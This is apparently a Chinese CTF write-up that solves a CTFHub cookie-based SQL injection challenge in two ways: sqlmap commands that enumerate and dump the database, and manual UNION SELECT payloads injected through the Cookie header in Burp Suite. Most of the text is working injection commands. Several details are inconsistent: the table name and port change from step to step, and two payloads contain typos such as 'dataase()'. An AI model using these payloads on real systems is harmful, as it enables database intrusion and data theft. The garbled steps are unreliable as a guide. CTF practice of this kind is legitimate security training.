我们将使用两种解法——sqlmap自动注入以及利用burpsuite工具手工注入
一:sqlmap自动注入
首先在命令行换到sqlmap目录下,然后开始解题
先爆当前数据库信息
python sqlmap.py -u "http://challenge-6b420c7b04e13f9f.sandbox.ctfhub.com:10800/" --cookie "id=1" --dbs --level 2
爆出库名为'sqli'
接下来查选表名 ,得到表名为'hzyddqchqe'
python sqlmap.py -u "http://challenge-6b420c7b04e13f9f.sandbox.ctfhub.com:10800/" --cookie "id=1" -D sqli --tables --level 2
然后查选列名及内容
python sqlmap.py -u "http://challenge-6b420c7b04e13f9f.sandbox.ctfhub.com:10080" --cookie "id=1" -D sqli -T frkadyqcec --columns --dump --level 2
就得到flag了
二:利用burpsuite工具手动注入
使用burpsuite工具抓包,在cookie值处输入语句进行注入
先输入以下语句,查看页面回显位
Cookie:id=-1 union select1,2;
结果显示
然后求数据库名
id=-1 union select 1,dataase()
得到数据库名为'sqli'
接着求表名,结果为'xujnpmahoo'
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
继续求列名,结果为'ygngmcsynj'
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xujnpmahoo'
最后求字段值,即可得到flag
id=-1 union select 1,group_concat(ygngmcsynj) from sqli.xujnpmahoo